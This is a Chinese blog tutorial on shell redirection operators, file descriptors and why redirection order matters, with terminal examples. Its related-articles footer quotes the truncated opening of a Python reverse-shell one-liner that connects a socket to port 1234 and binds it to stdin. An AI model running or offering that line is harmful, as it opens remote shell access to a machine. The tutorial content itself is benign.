shell重定向符

摘要:
Shell重定向程序˃、˃、˂文件是命令1˃文件的缩写;即,以标准输出模式将正确的命令结果写入文件文件。

shell重定向符   >, < 及>>,<<

文件描述符   

0, 标准输入     对应文件/dev/stdin

1,标准输出     对应文件/dev/stdout

2,错误输出     对应文件/dev/stderr

&1,标准输出通道

&2,标准输入通道

command > file 是简写,原实际应为command 1>file;即把正确命令结果以标准输出方式写入file文件。

把错误输出重定向至标准输出,然后在重定向至he.txt文件

ubuntu@ubuntu-virtual-machine:~/work$ ls hello.txt he.txt> sc.txt 2>&1
ubuntu@ubuntu-virtual-machine:~/work$ cat sc.txt
ls: 无法访问 'he.txt': 没有那个文件或目录
hello.txt

把标准输出重定向至错误输出,由于错误输出未定向至文件,因此直接打印输出在显示器终端上,而不会写入sc.txt文件中
ubuntu@ubuntu-virtual-machine:~/work$ ls hello.txt he.txt> sc.txt 1>&2
ls: 无法访问 'he.txt': 没有那个文件或目录
hello.txt
ubuntu@ubuntu-virtual-machine:~/work$

其次重定向顺序很重要

ls hello.txt he.txt> sc.txt 2>&1

ubuntu@ubuntu-virtual-machine:~/work$ ls hello.txt he.txt> sc.txt 2>&1
ubuntu@ubuntu-virtual-machine:~/work$ cat sc.txt
ls: 无法访问 'he.txt': 没有那个文件或目录
hello.txt

上述命令是先把标准输出重定向至文件sc.txt. 然后把错误输出定向至标准输出(由于标准输出已定向至文件),因此该错误输出也一并写入文件sc.txt

ls hello.txt he.txt  2>&1   >sc.txt

buntu@ubuntu-virtual-machine:~/work$ ls hello.txt he.txt 2>&1 > sc.txt
ls: 无法访问 'he.txt': 没有那个文件或目录
ubuntu@ubuntu-virtual-machine:~/work$ cat sc.txt
hello.txt

上述命令是先把错误输出重定向至文件标准输出. 然后把标准输出定向至文件(由于标准输出未先定向至文件),因此该错误输出会直接通过已标准输出通道显示在屏幕上,最后标准输出写入文件sc.txt

/dev/null 这个设备,是linux 中黑洞设备,什么信息只要输出给这个设备,都会给吃掉

& 是一个描述符,如果1或2前不加&,会被当成一个普通文件。

1>&2 意思是把标准输出重定向到标准错误.

2>&1 意思是把标准错误输出重定向到标准输出。

&>filename 意思是把标准输出和标准错误输出都重定向到文件filename中

参考过

https://blog.csdn.net/dragon3100/article/details/100171995

https://www.cnblogs.com/f-ck-need-u/p/8727401.html

免责声明:文章转载自《shell重定向符》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇博弈学习 3oracle创建用户、授予权限及删除用户下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

shell判断文件是否存在

1. shell判断文件,目录是否存在或者具有权限2. #!/bin/sh3.4. myPath="/var/log/httpd/"5. myFile="/var /log/httpd/access.log"6.7. # 这里的-x 参数判断$myPath是否存在并且是否具有可执行权限8. if [ ! -x "$myPath"]; then9. mkdi...

CmsTop 大众版运行环境搭建 (CentOS+Nginx+PHP FastCGI)

一、CentOS 5.5 操作系统的安装 操作系统这里我们仍采用 CentOS 5.5 来说明 Linux 下的 Nginx 安装与配置。关于CentOS的安装与注意事项请大家点击这里:(其中包含配置yum的步骤,因为我们接下来会使用到yum)。 二、准备工作 和Apache的配置相同,我们就来进行一些准备工作,譬如创建网站目录,日志目录等。然后安装服务器...

Linux下java nohup 后台运行关闭后进程停止的原因,不挂断后台运行命令

Linux下java nohup 后台运行关闭后进程停止的原因,不挂断后台运行命令 今天写sh脚本发现一终止命令程序就停止运行了,检查了很久才发现后面少了个&字符导致的!错误写法:nohup java -jar /home/zdzjar.jar >/home/logs/zdz.out 2>&1正确写法:nohup java -j...

shell重定向(大于号,小于号,左右,2&amp;gt;&amp;amp;1,&amp;amp;)

本文的例子部分是引用网络上的一篇文章。 Linux的IO输入输出有三类 Standard Input 代码 0Standard Output 代码 1Standard Error 代码 2 举个例子:ls test.sh test1.sh >success.txt 2>&1 将前面执行结果的标准输出流写入success.txt文件,省略...

Linux shell command line process(命令行处理流程)

Splits the command into tokens that are separated by the fixed set of metacharacters: SPACE, TAB, NEWLINE,;,(,),<,>,|, and&. Types of tokens include words, keywords,...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...